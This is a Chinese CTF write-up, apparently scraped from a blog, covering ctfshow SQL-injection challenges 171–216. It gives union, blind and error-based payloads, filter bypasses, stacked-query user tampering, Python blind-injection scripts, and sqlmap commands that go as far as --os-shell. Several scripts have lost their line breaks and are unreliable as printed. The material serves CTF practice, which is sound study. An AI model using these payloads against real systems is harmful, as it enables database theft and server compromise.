当前位置: 首页 > news >正文

ctfshow的sql注入解题思路171-211

ctfshow-SQL注入

web171:爆库名->爆表名->爆字段名->爆字段值

-1' union select 1,database() ,3 --+ //返回数据库名

-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='库名' --+ //获取数据库里的表名

-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='表名' --+ //获取表内字段名

-1' union select 1,group_concat(字段名1),group_concat(字段名2) from 表名 --+ //获取字段值,有2个表,第一个表的password内有个值为flag not here,第二个表的password内有flag

解法2:也可以用万能钥匙-1' or 1=1--+,也可以取到flag

解法3:也可以用或者-1’or username=flag来获取到flag

其他题没有过滤的时候同理

177:这道题目过滤了空格,那我们就可以用"/**/"来代表空格。还有--+,我们可以用%23来代表过滤,然后沿用上面的几个方法都可以找到flag

web178:这道题还是过滤空格,但是把/**/也过滤了,但我们可以利用换行符%09来获取到flag

web179:不知道为啥一下子就出来了

解法2、应该还是过滤空格,不过这次使用%0c来代替空格

web180:用上面的方法都不可以,感觉好像过滤掉了+号,但是我们可以不使用万能钥匙,我们直接使用基本语句-1'or username like 'flag,把空格改为%0c就可以拿到flag了

web181:过滤了很多的参数,空格类的差不多都被禁用了

但是我们可以使用-1'or`username`='flag来获取到flag,或者使用1'or'1'='1'--%0c,也可以获取到flag,但是里面写着禁用0c,却还是可以用,我知道为什么

web182:又过滤了flag,所以不能用181的payload来获取flag了,这一波还是使用万能钥匙-1’or'1'='1'--%01

web183:

web:187

这个这里使用了md5加密,而ffifdyop经过md5($password,true)过后恰好结果是'or'6�]��!r,��b,即最后组成的sql语句是$sql="select password from users where password=''or'<xxx>'"成功绕过。ffifdyop绕过MD5进行sql注入-CSDN博客

web:188

因为他查询的username没有用双引号保护,所以可以令username=0.即可查出。select count(*) from ctfshow_user where username = 0,语句就会变成这样,而0代表搜索所有的字母表。

web189:

提示flag在./api/index.php里,访问api发现有回显

布尔盲注

使用load_file函数读取文件 然后用python进行盲注

web190:

为什么要有admin呢 这也是试出来的 这个admin必须是数据库中存在的 这样才能使用布尔注入 因为这个时候登录 有两种返回结果 一种密码错误 一种就是用户名错误

admin' and '1'='1 密码错误

admin' and '1'='2 用户名不存在

判断出存在注入点

admin' and '1'='1 密码错误 返回值8bef

admin' and '1'='2 用户名不存在 返回值 5728

以上可以证明出可以使用布尔注入 当and后为1为一个页面 当and后为0为一个页面

username=admin'and (ascii(substr((select f1ag from ctfshow_fl0g),1,1))<100)#&password=0

返回值8bef 也就是and后语句返回1

username=admin'and (ascii(substr((select f1ag from ctfshow_fl0g),1,1))<99)#&password=0

返回值 5728 也就是and后语句返回0

得出flag

# payload = "admin'and (ascii(substr((select database()),{},1))<{})#".format(i,mid)
# 当前数据库 ctfshow_web
# payload = "admin'and (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))<{})#".format(i,mid)
# 当前数据表 ctfshow_fl0g和ctfshow_user
# payload = "admin'and (ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{},1))<{})#".format(i,mid)
# 当前字段名 id,f1ag
# payload = "admin'and (ascii(substr((select f1ag from ctfshow_fl0g),{},1))<{})#".format(i,mid)
# 获取flag

import requests
url = "http://72366131-2d1e-4484-9bb5-9c6bbe82b7b3.challenge.ctf.show/api/"
flag = ""
for i in range(1,60):max = 127 #ascii最大值min = 32  #ascii最小值while 1:#无限循环mid = (max+min)>>1 #相当于除2向下取整print("第{}波 max={} min={} mid={} ".format(i,max,min,mid))if(min == mid):#相等也就代表min+1=max  max=100min=99 mid=99 这个时候max=100返回值为1 min=99返回值为0 这就能证明ascii为99 该值为cflag += chr(mid)print(flag)break# payload = "admin'and (ord(substr((select database()),{},1))<{})#".format(i,mid)# 当前数据库 ctfshow_web# payload = "admin'and (ord(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))<{})#".format(i,mid)# 当前数据表 ctfshow_fl0g和ctfshow_user# payload = "admin'and (ord(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{},1))<{})#".format(i,mid)# 当前字段名 id,f1ag# payload = "admin'and (ord(substr((select f1ag from ctfshow_fl0g),{},1))<{})#".format(i,mid)# 获取flagpayload = "admin'and (ord(substr((select f1ag from ctfshow_fl0g),{},1))<{})#".format(i,mid)data = {"username":payload,"password":0,}res = requests.post(url = url,data =data)if res.text.find("8bef")>0:#返回值为1 <100 将该值设置为maxmax = midelse:                      #返回值为0 <99 将该值设置为minmin = midif mid == 32:# 如果mid的值等于空格 结束最外层循环print("flag={}".format(flag))break

web191:代码如上,把ascii改成ord就可以了,方法一样

web192:ord也被禁用了 hex也被禁用了

那就不用函数 直接判断字符是哪一个

username=admin'and (substr((select database()),1,1)='c')#&password=0

import requests
url = "http://68d5834f-ba36-4b7c-9845-b7e7f717ee00.challenge.ctf.show/api/"
flag = ""
flagdic="abcdefghijklmnopqrstuvwxyz}-_{0123456789 "
for i in range(1,60):for x in flagdic:# payload = "admin'and (substr((select database()),{},1)='{}')#".format(i,x)# 当前数据库 ctfshow_web# payload = "admin'and (substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)='{}')#".format(i,x)# 当前数据表 ctfshow_fl0g和ctfshow_user# payload = "admin'and (substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{},1))='{}')#".format(i,x)# 当前字段名 id,f1ag# payload = "admin'and (substr((select f1ag from ctfshow_fl0g),{},1)<{})#".format(i,mid)# 获取flagpayload = "admin'and (substr((select f1ag from ctfshow_fl0g),{},1)='{}')#".format(i,x)data = {"username":payload,"password":0,}res = requests.post(url = url,data =data)if res.text.find("8bef")>0:if x == " ":# 其实这个if有没有都一个意思 我只是不想多输出一次flagbreakflag+=xprint(flag)breakif x == " ": # 如果遍历到字典的最后的空格 就退出循环代表结束break

web193:过滤了substr,但是我们可以用left来代替substr,其中要注意的是

leftadmin'and (left((select database()),{})='{}')#

substr:admin'and (substr((select database()),{},1)='{}')#

substr多了一个序号。

import requests
url = "http://aadbae77-23a2-4f3a-8e40-02523573b6a3.challenge.ctf.show/api/"
flag = ""
flagdic="abcdefghijklmnopqrstuvwxyz}-_{0123456789, "
a=0
for i in range(1,60):for x in flagdic:# payload = "admin'and (left((select database()),{})='{}')#".format(i,flag+x)# 当前数据库 ctfshow_web# payload = "admin'and (left((select group_concat(table_name) from information_schema.tables where table_schema=database()),{}))='{}'#".format(i,flag+x)# 当前数据表 ctfshow_flxg 之前表名为fl0g 现在为flxg# payload = "admin'and (left((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flxg'),{}))='{}'#".format(i,flag+x)# 当前字段名 id,flagpayload = "admin'and (left((select f1ag from ctfshow_flxg),{}))='{}'#".format(i,flag+x)# 获取flagdata = {"username":payload,"password":0,}res = requests.post(url = url,data =data)if x == " ":a = 1breakif res.text.find("8bef")>0:flag+=xprint(flag)breakif a:print("answer={}".format(flag))break

web194:left被禁用了,那就使用lpad: "admin'and ((lpad((select f1ag from ctfshow_flxg),{},'')='{}'))#和left有所不同,

import requests
url = "http://3e49521e-b292-4475-85ca-144b508f1868.challenge.ctf.show/api/"
flag = ""
flagdic="abcdefghijklmnopqrstuvwxyz}-_{0123456789, "
a=0
for i in range(1,60):for x in flagdic:payload = "admin'and ((lpad((select f1ag from ctfshow_flxg),{},'')='{}'))#".format(i,flag+x)# 获取flagdata = {"username":payload,"password":0,}res = requests.post(url = url,data =data)if x == " ":a = 1breakif res.text.find("8bef")>0:flag+=xprint(flag)breakif a:print("answer={}".format(flag))break

web195:堆叠注入

跟着大师傅思路走 直接使用update更新pass 这样所有的pass都被修改为已知的

(前提依旧是已知一个用户admin)

pass已知后 就能通过这个语句

使用叠加注入 更新所有密码,然后把账户改成0,密码为1即可https://blog.csdn.net/m0_72125469/article/details/135088746

web:196

这道题目的select虽然写的是被过滤了,但是实际并没有被过滤。

(根据群里的反馈,说群主本来是打算把过滤select写成se1ect,但是忘记改了。不过select也并没有被过滤)

可以select绕过password的if判断。

判断条件满足的设定是$row[0]==$password,$row存储的是结果集中的一行数据,$row[0]就是这一行的第一个数据。

既然可以堆叠注入,就是可以多语句查询,$row应该也会逐一循环获取每个结果集。

那么可以输入username为1;select(9),password为9。当$row获取到第二个查询语句select(9)的结果集时,即可获得$row[0]=9,那么password输入9就可以满足条件判断

197:

这次select彻底被过滤了 并且update也被过滤了

方法1

利用show。根据题目给的查询语句,可以知道数据库的表名为ctfshow_user,那么可以通过show tables,获取表名的结果集,在这个结果集里定然有一行的数据为ctfshow_user。

用户名:1;show tables

密码:ctfshow_user

有个缺点如果ctfshow_user表不在row【0】的位置那就会失败

注意为什么admin;show tables会查询失败 换成数字就好 因为admin必须使用单引号才可以 但是单引号被过滤了

方法2:

web198与web197基本一致,我们可以用insert向ctfshow_user表的username和pass字段中添加值

username   0' insert ctfshow_user(`username`,`pass`) value(1,2)
password   123

在输入用户名为1,密码为2

username  1
password  2

就可以获取flag

web:198

payload:

用户名:1;show tables

密码:ctfshow_user

web:199

payload:

用户名:1;show tables

密码:ctfshow_user

web200:

payload:

用户名:1;show tables

密码:ctfshow_user

web:201

python .\sqlmap.py -u "http://8511075c-e9fe-49ae-a7e8-12996e21a588.challenge.ctf.show/api/?id=" --user-agent=sqlmap
python .\sqlmap.py -u "http://8511075c-e9fe-49ae-a7e8-12996e21a588.challenge.ctf.show/api/?id=" --user-agent=sqlmap --referer="ctf.show" --dbs
python .\sqlmap.py -u "http://8511075c-e9fe-49ae-a7e8-12996e21a588.challenge.ctf.show/api/?id=" --user-agent=sqlmap --referer="ctf.show" -D ctfshow_web --tables
python .\sqlmap.py -u "http://8511075c-e9fe-49ae-a7e8-12996e21a588.challenge.ctf.show/api/?id=" --user-agent=sqlmap --referer="ctf.show" -D ctfshow_web -T ctfshow_user --columns
python .\sqlmap.py -u "http://8511075c-e9fe-49ae-a7e8-12996e21a588.challenge.ctf.show/api/?id=" --user-agent=sqlmap --referer="ctf.show" -D ctfshow_web -T ctfshow_user --dump

2.查询到数据库名是ctshow_web(python .\sqlmap.py -u "http://8511075c-e9fe-49ae-a7e8-12996e21a588.challenge.ctf.show/api/?id=" --user-agent=sqlmap --referer="ctf.show" --dbs

3.python .\sqlmap.py -u "http://3fbd84bf-6fe1-45e9-bead-aca9d6f73d05.challenge.ctf.show/api/?id="--user-agent=sqlmap --referer=ctf.show -D ctfshow_web --tables查询他的表名

4.python .\sqlmap.py -u "http://3fbd84bf-6fe1-45e9-bead-aca9d6f73d05.challenge.ctf.show/api/?id="--user-agent=sqlmap --referer=ctf.show -D ctfshow_user -T ctfshow_user --dump

web:202 他叫我们把sqlmap的请求方式改变一下,我们就直接在我们刚刚的基础上再添加一个--data “id=1”就可以了

python .\sqlmap.py -u "http://f4bb75b9-7bd8-4fae-9f01-73444308e565.challenge.ctf.show/api/index.php" --data="id=1" --user-agent=sqlmap --referer=ctf.show 
python .\sqlmap.py -u "http://f4bb75b9-7bd8-4fae-9f01-73444308e565.challenge.ctf.show/api/index.php" --data="id=1" --user-agent=sqlmap --referer="ctf.show" --dbs 
python .\sqlmap.py -u "http://f4bb75b9-7bd8-4fae-9f01-73444308e565.challenge.ctf.show/api/index.php" --data="id=1" --user-agent=sqlmap --referer="ctf.show" -D ctfshow_web --tables
python .\sqlmap.py -u "http://f4bb75b9-7bd8-4fae-9f01-73444308e565.challenge.ctf.show/api/index.php" --data="id=1" --user-agent=sqlmap --referer="ctf.show" -D ctfshow_web -T ctfshow_user --columns
python .\sqlmap.py -u "http://f4bb75b9-7bd8-4fae-9f01-73444308e565.challenge.ctf.show/api/index.php" --data="id=1" --user-agent=sqlmap --referer="ctf.show" -D ctfshow_web -T ctfshow_user --dump

切记要加上index.php 否则不好使

web203:这道题要求使用method调整sqlmap的请求方式

提示要用--method改变请求方式,这里使用PUT请求,但是要记得加上设置Content-Type头,否则会变成表单提交:

#python .\sqlmap.py -u "http://3975ccf7-68a6-4113-b8a7-2159580f2603.challenge.ctf.show/api/index.php" --data="id=1" --method=PUT --headers="Content-Type:text/plain" --user-agent=sqlmap --referer=ctf.show
#python .\sqlmap.py -u "http://3975ccf7-68a6-4113-b8a7-2159580f2603.challenge.ctf.show/api/index.php" --data="id=1" --method=PUT --headers="Content-Type:text/plain" --user-agent=sqlmap --referer="ctf.show" --dbs
#python .\sqlmap.py -u "http://3975ccf7-68a6-4113-b8a7-2159580f2603.challenge.ctf.show/api/index.php" --data="id=1" --method=PUT --headers="Content-Type:text/plain" --user-agent=sqlmap --referer="ctf.show" -D ctfshow_web --tables
#python .\sqlmap.py -u "http://3975ccf7-68a6-4113-b8a7-2159580f2603.challenge.ctf.show/api/index.php" --data="id=1" --method=PUT --headers="Content-Type:text/plain" --user-agent=sqlmap --referer="ctf.show" -D ctfshow_web -T ctfshow_user --columns
#python .\sqlmap.py -u "http://3975ccf7-68a6-4113-b8a7-2159580f2603.challenge.ctf.show/api/index.php" --data="id=1" --method=PUT --headers="Content-Type:text/plain" --user-agent=sqlmap --referer="ctf.show" -D ctfshow_web -T ctfshow_user --dump

web:204这道题要求我们使用cookie来添加

#python.\sqlmap.py - u"http://20815594-bf49-434d-81ff-27084740e293.challenge.ctf.show/api/index.php" - -data"id=1" - -method = PUT - -header = "Content-Type:text/plain" - -cookie = "PHPSESSID=gsalkdjo8546dqc4dhoqt1bc7u; ctfshow=161f311aae7f4a6afff53434bdcb956d" - -user - agent = sqlmap - -referer = "ctf.show" - Dctfshow_web - T
ctfshow_user - -dump

web:205

抓包 估计这就是鉴权的意思 先访问一个指定页面传入cookie 然后才进行传值,就是可以先设置访问一个cookie的地方然后传入cookie这样子,说明每次都会提交到/api/getToken.php

--safe-url 设置在测试目标地址前访问的安全链接
--safe-freq 设置几次访问一次鉴权页面
python sqlmap.py -u "http://a1e31d07-94cb-4dd1-9410-035bd768cf3c.challenge.ctf.show/api/index.php" 
--data="id=1" --refer="ctf.show" 
--method="PUT" --headers="Content-Type:text/plain" 
--safe-url="http://a1e31d07-94cb-4dd1-9410-035bd768cf3c.challenge.ctf.show/api/getToken.php" 
--safe-freq=1 -D ctfshow_web -T ctfshow_flax -C flagx,id,tes --dump --batch

这边会遇到他的表明被改了,我们只需要添加上--tables就可以查询到新的表名是什么,然后进去就好了

web206:用上一个的payload就可以了,但是要记得safeurl要改,然后cookie要改,url要改

这里我测试 不使用cookie也可以 但是必须要有访问鉴权的页面的操作 我查看鉴权页面也需要传入cookie 但是脚本不需要cookie也可以

我是这么理解的 上一题中 api页面会检查cookie 所以必须传入cookie 鉴权页面不需要cookie 但是必须要访问鉴权页面 要有这个过程 这道题api页面不需要cookie

加上多余的操作 就是闭合sql语句

但是准确的做法是

python .\sqlmap.py -u http://190533c8-f8b4-456b-901f-1913f7b89033.challenge.ctf.show/api/index.php --data="id=1" --refer="ctf.show" --method="PUT" --headers="Content-Type:text/plain" --safe-url="http://190533c8-f8b4-456b-901f-1913f7b89033.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=okqbp2s64j8re4qktb66numu5k" --prefix="')" --suffix="#" -D ctfshow_web -T ctfshow_flaxc --dump

web:207 --tamper的初体验

这个的使用就是基于sqlmap自带的一个脚本文件,--tamper-space2comment.py,在后面添加一个这个就可以过滤掉空格单引号和双引号。所以这题的payload是

python .\sqlmap.py -u "http://c0cc7df8-1159-4771-9780-56a37450ac2f.challenge.ctf.show/api/index.php" --data="id=1" --refer="ctf.show" --method="PUT" --headers="Content-Type:text/plain" --safe-url="http://c0cc7df8-1159-4771-9780-56a37450ac2f.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=9f8v678b305avu562l4it2e0l2" --prefix="')" --suffix="#" --tamper space2comment.py -D ctfshow_web -T ctfshow_flaxca --dump

web208:

python sqlmap.py -u "http://6f26b2b2-7b83-431e-aba9-122bd6d08b17.challenge.ctf.show/api/index.php" --method="PUT" --data="id=1" --
referer=ctf.show --headers="Content-Type: text/plain" --cookie="PHPSESSID=1vrv4fg7q4uid8i1lhma043h20" --safe-url="http://6f26b2b2-7b83-
431e-aba9-122bd6d08b17.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=space2comment.py,uppercase.py -D ctfshow_web --tables

这道题不会做,因为不会写脚本,所以直接用了WP,到时候会写脚本了再回来看看

uppercase.py

这道题主要是用了里面的uppercase.py

web:209没搞出来,休息

web:210

他这边

python .\sqlmap.py -u "http://5286a3a1-ef01-4b6c-b6c6-fead8a017b95.challenge.ctf.show/api/index.php" --data="id=1" --user-agent=sqlmap --refer="ctf.show" --method="PUT" --headers="Content-Type:text/plain" --safe-url="http://5286a3a1-ef01-4b6c-b6c6-fead8a017b95.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=1i3gg538qj27clmj4sraoff05g" --tamper 210.py -D ctfshow_web --tables

首先先爆数据库名称,再报表的名称,再爆库的名称,然后三个叠加起来,然后查询,因为有一些地方的数据库名称变了,需要重新再来一遍

python .\sqlmap.py -u "http://5286a3a1-ef01-4b6c-b6c6-fead8a017b95.challenge.ctf.show/api/index.php" --data="id=1" --user-agent=sqlmap --refer="ctf.show" --method="PUT" --headers="Content-Type:text/plain" --safe-url="http://5286a3a1-ef01-4b6c-b6c6-fead8a017b95.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=1i3gg538qj27clmj4sraoff05g" --tamper 210.py -D ctfshow_web -T ctfshow_flavi --columns

web211:爆库名->爆表名->爆字段名->爆字段值,还是样子,用web210的脚本就可以了,因为我抄的别人的脚本,流程和210一模一样

web212:同理

web213:这一次添加了os-shell,os-shell的使用就是在后面直接添加一个--os-shell就可以达到getshell的目的

在遇到这个图之后,前面三个选择默认就可以了,到了最后一个1234的选择2,然后路径输入/var/www/html/

然后就可以getshell了,利用shell进入他的页面输入ls看看有没有东西,发现没有就进入到ls的下个目录,ls /

发现有一额给ctfshow_flag,所以我们再用cat /ctfshow_flag获取到flag的值

web214:页面这边空空如也,用BP抓一下包刷新一下,forward两下,发现有一个POST请求包,然后把debug改为1发现语句变成了SQL语句,存在注入点

把ip改为ip=if(2>1,sleep(3),2),发现他会睡三秒,这时候我们就可以使用时间盲注了

# payload = "if(substr(database(),{},1)='{}',sleep(1),2)".format(i,x)
# print(payload) 用于检测问题的
# 当前数据库 ctfshow_web
# payload = "if((substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),{},1)='{}'),sleep(1),2)".format(i, x)
# 当前数据表 answer=ctfshow_flagx,ctfshow_info
# payload = "if((substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagx'),{},1)='{}'),sleep(1),2)".format(i, x)
# 当前字段名 id,flaga,info
#payload = "if((substr((select flaga from ctfshow_flagx),{},1)='{}'),sleep(1),2)".format(i, x)
# 获取flag

web215:加大一点满肚 使用单引号 以及屏蔽了部分内容 思路就是 使用bp抓包 然后 使用简单的if语句 判断 盲注语句格式

需改debug 确实 提示确实使用了单引号

测试

需要注意两点 都是我遇见的问题

第一点 if不要在引号内

第二点 不要使用and 使用or 因为and第一个如果是假的 and后的if不执行

记得要使用#来注释掉后面的内容才可以

web216:用mysql的tobase64

#payload = 'to_base64(if(substr(database(),{},1)="{}",sleep(1),2))'.format(i, x)
# 当前数据库 ctfshow_web
#payload = "to_base64(if((substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),{},1)='{}'),sleep(1),2))".format(i, x)
# 当前数据表 answer=ctfshow_flagxcc,ctfshow_info
#payload = "to_base64(if((substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxcc'),{},1)='{}'),sleep(1),2))".format(i, x)
# 当前字段名 id,flagaac,info

NSSCTF中的堆叠注入

后台的执行逻辑是 select 参数||flag from 表;
这里构造payload *,1 使sql成为 select ,1||flag from 表
其中的 会查询出后面表所有的结果

爆出数据库名字
-1'and(select extractvalue(1,concat('~',(select database()))))#	报错注入
爆出所有数据库名
-1'and(select extractvalue(1,concat('~',(select group_concat(schema_name) from information_schema.schemata))))#
爆出数据库test_db下所有的
-1'and(select extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='test_db'))))#
爆出test_db数据库下test_tb表所有的列名
-1'and(select extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name="test_tb" and table_schema='test_db'))))#
查询flag
-1'and(select extractvalue(1,concat('~',(select substr((select flag from test_tb), 1 , 31)))))#  0-30位 左边30位
-1'and(select extractvalue(1,concat('~',(select substr((select flag from test_tb), 31 , 60)))))#  31-60位

http://www.mrgr.cn/news/59030.html

相关文章:

  • BLIP2部署教程
  • 等保测评的主要内容
  • Java项目实战II基于微信小程序的计算机实验室排课与查询系统(开发文档+数据库+源码)
  • ASP.NET Core开发Chatbot API
  • 铜业机器人剥片 - SNK施努卡
  • Lucas带你手撕机器学习——套索回归
  • 文言编程:古老文字与现代编程的融合
  • 禾川SV-X2E A伺服驱动器参数设置——脉冲型
  • Gateway 统一网关
  • 【论文阅读】ESRGAN
  • C++ string类常用接口总结
  • 「C/C++」C++17 之 std::filesystem::directory_entry 文件系统目录条目
  • sql语句中的Group By 分组查询
  • AI神器,豆包自带抠图,完全免费!路人甲、去水印,轻轻一擦,全去掉
  • 今日所学1024和1026
  • gma 2.0.14 (2024.10.18) | GmaGIS V0.0.0a5 更新日志
  • DevOps 全面解析:实现开发与运维的无缝协作
  • 基于SSM美容院管理系统的设计
  • 【Linux操作系统】Linux配置OpenSSH服务器步骤记录
  • Vite+Vue3+qiankun构建微前端
  • C++数据结构-最小生成树:普利姆(Prim)算法及C/C++代码实现
  • css 对称按钮,中间斜平行间隔,两头半圆
  • H3CNE-10-H3C构建简单企业网络
  • 二十三种设计模式之命令模式
  • 零代码快速开发智能体 |甘肃旅游通
  • Visual Studio Code